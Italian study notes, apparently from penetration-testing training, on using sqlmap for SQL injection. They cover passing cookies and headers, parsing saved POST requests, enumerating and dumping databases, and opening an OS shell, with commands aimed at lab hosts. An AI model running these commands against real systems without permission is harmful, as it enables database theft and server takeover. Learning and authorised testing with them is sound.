tags: sqlmap sql_injection cookie headers
Questo strumento è molto potente e permette di automatizzare una SQL injection, dividerò la prima parte per le richieste HTTP GET e la seconda per le richieste HTTP POST.
Cookie e token
Molte applicazioni odierne utilizzano token e cookie come ulteriori protezioni che potrebbero portare ad un fallimento della sql injection. Per evitare che questo succeda dobbiamo per ogni richiesta che sospettiamo essere vulnerabile ad una sql injecton farla passare attraverso strumenti come BurpSuite o tramite l’Inspect del browser (Vai su Inspect→Console→ e digita “document.cookie”) che ci permettono di verificare che nella richiesta siano presenti o meno cookie o token, nel caso fossero presenti dei cookie o dei token dovremo aggiungerli al comando di SQLMap nel seguente modo:
Metti che la nostra richiesta fatta tramite BurpSuite risulti come la seguente:
GET /viewprofile.aspx?id=1 HTTP/1.1
Host: www.moviescope.com
Cookie: sessionid=12345; csrftoken=abcdeIl nostro comando SQLMap diventerà:
sqlmap -u "http://www.moviescope.com/viewprofile.aspx?id=1" --cookie="sessionid=12345; csrftoken=abcde" --dbsOppure metti che la nostra richiesta risulti come la seguente:
GET /viewprofile.aspx?id=1 HTTP/1.1
Host: www.moviescope.com
X-CSRF-Token: xyz123Il comando di SQLMap diventerà:
sqlmap -u "http://www.moviescope.com/viewprofile.aspx?id=1" --headers="X-CSRF-Token: xyz123" --dbsDifferenza tra —cookie e —headers
-
--cookieè specifico per i cookie di sessione. -
--headersè più generico e permette di gestire qualsiasi tipo di header HTTP.
Esempio se nella richiesta è presente solo il cookie andremo ad utilizzare il parametro —cookie come nell’esempio:
sqlmap -u "http://www.moviescope.com/viewprofile.aspx?id=1" --cookie="sessionid=12345; csrftoken=abcde" --dbsSe invece sono presenti cose al di fuori del cookie possiamo utilizzare il parametro —headers:
sqlmap -u "http://example.com/page?id=1" --headers="X-CSRF-Token: xyz123\nUser-Agent: Mozilla/5.0"-
In questo esempio,
X-CSRF-Token: xyz123eUser-Agent: Mozilla/5.0sono header aggiuntivi inviati con la richiesta. -
Nota: Gli header sono separati da
\n(newline).
Possiamo anche combinarli nel caso in cui volessimo aggiungere sia gli header che i cookie e stanno tutti raggruppati sotto il parametro —headers che include —cookie, come nell’esempio:
sqlmap -u "http://www.moviescope.com/viewprofile.aspx?id=1" --headers="Cookie: sessionid=12345; csrftoken=abcde\nX-CSRF-Token: xyz123\nUser-Agent: Mozilla/5.0" --dbsPer evitare che faccia domande usa
--batchRichieste GET
Quando incontriamo una pagina che ci fa ipotizzare esserci una SQL injection possiamo vedere tramite Burp Suite o tramite browser che tipo di richiesta è, nel caso fosse una richiesta GET possiamo utilizzare i seguenti comandi:
#Questo comando ci permette di enumerare i database
sqlmap -u https://testsite.com/page.php?id=7 --dbs
#Questo comando ci permette di enumerare le tavole
sqlmap -u https://testsite.com/page.php?id=7 -D <nome database> --tables
#Questo comando ci permette di enumerare le colonne
sqlmap -u https://testsite.com/page.php?id=7 -D <nome database> -T <nome_tavola> --colums
#Questo comando ci permette di vedere tutti i dati dei database
sqlmap -u https://testsite.com/page.php?id=7 -D <database_name> --dump-all
#Oppure per prendere il contenuto di una tavola specifica
sqlmap -u https://testsite.com/page.php?id=7 -D <database_name> -T <tavola> --dump
#Tentare di aprire una shell
sqlmap -u https://testsite.com/page.php?id=7 --os-shell
Alle volte può succedere che caratteri nell’url vadano in conflitto con il programma quindi può succedere di dover mettere l’URL tra le ” per evitare casini.
Per fare più veloce si può anche aggiungere la flag —level=5
Richieste POST
Quando invece vediamo che una richiesta con probabilità di SQL injection è POST dobbiamo prima intercettarla con Burp Suite e in seguito salvare la richiesta in un file tramite la funzione di Burp Suite “copy to file”. Una volta salvata la richiesta che potrebbe essere una cosa tipo :
POST /blood/nl-search.php HTTP/1.1
Host: 10.10.82.13
Content-Length: 16
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.10.82.13
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.10.82.13/blood/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=lu2hm37e46obbdlbf28qg7v006
Connection: keep-alive
blood_group=A%2B
Possiamo enumerare il database, per effettuare l’enumerazione ci servirà anche un parametro vulnerabile che nell’esempio sopra citato è blood_group, ma potrebbe anche essere per esempio un sezione di login vulnerabile alla tautologia nel qual caso va fatta una richiesta senza payload altrimenti SqlMap va in confusione, non va necessariamente specificato il parametro vulnerabile, ma alle volte serve:
#Questo comando serve ad enumerare i database
sqlmap -r <nome_file_salvato> -p <parametro_vulnerabile> --dbs
#Questo comando serve ad enumerare le tavole
sqlmap -r <nome_file_salvato> -p <parametro_vulnerabile> D <nome_database> --tables
#Questo comando serve ad enumerare le colonne
sqlmap -r <nome_file_salvato> -p <parametro_vulnerabile> -D <nome_database> -T <nome_tavola> --columns
#Questo comando servirà ad enumerare tutti i dati presenti nel database
sqlmap -r <nome_file_salvato> -p <parametro_vulnerabile> -D <nome_database> --dump-allEsempi:
sqlmap -r login.req --dbs --batch --level=5 --risk=3Per ottenere subito le credenziali se possibile si può usare questo comando:
sqlmap -r richiesta.txt --dbms=mysql --dumpLa flag —dbms specifica di utilizzare solo i payload di MySQL.
Per ottenere informazioni avanzate sull’utilizzo di sqlmap si può utilizzare la flag sqlmap -hh.
Un comando bello completo potrebbe essere il seguente:
sqlmap -u http://10.10.252.245:5000/challenge3/login --batch --data="username=admin&password=admin" --level=5 --risk=3 --dbms=sqlite --technique=b --dump Che sostanzialmente gli dice: Esegui un attacco molto approfondito (level=5) e aggressivo (risk=3) contro la pagina di login (-u ...) inviando i dati come POST (--data ...). So che il database è SQLite (--dbms=sqlite) e voglio che tu usi solo la tecnica Boolean-based Blind (--technique=b). Se trovi la falla, il tuo obiettivo finale è scaricare l’intero contenuto del database (--dump).
Per approfondito si intende testare anche in zone meno probabili come per esempio gli header, mentre per aggressivo si intende che prova tutti i possibili comandi del database anche quelli che potrebbero rallentarlo aumentando notevolmente il rischio di essere rilevati.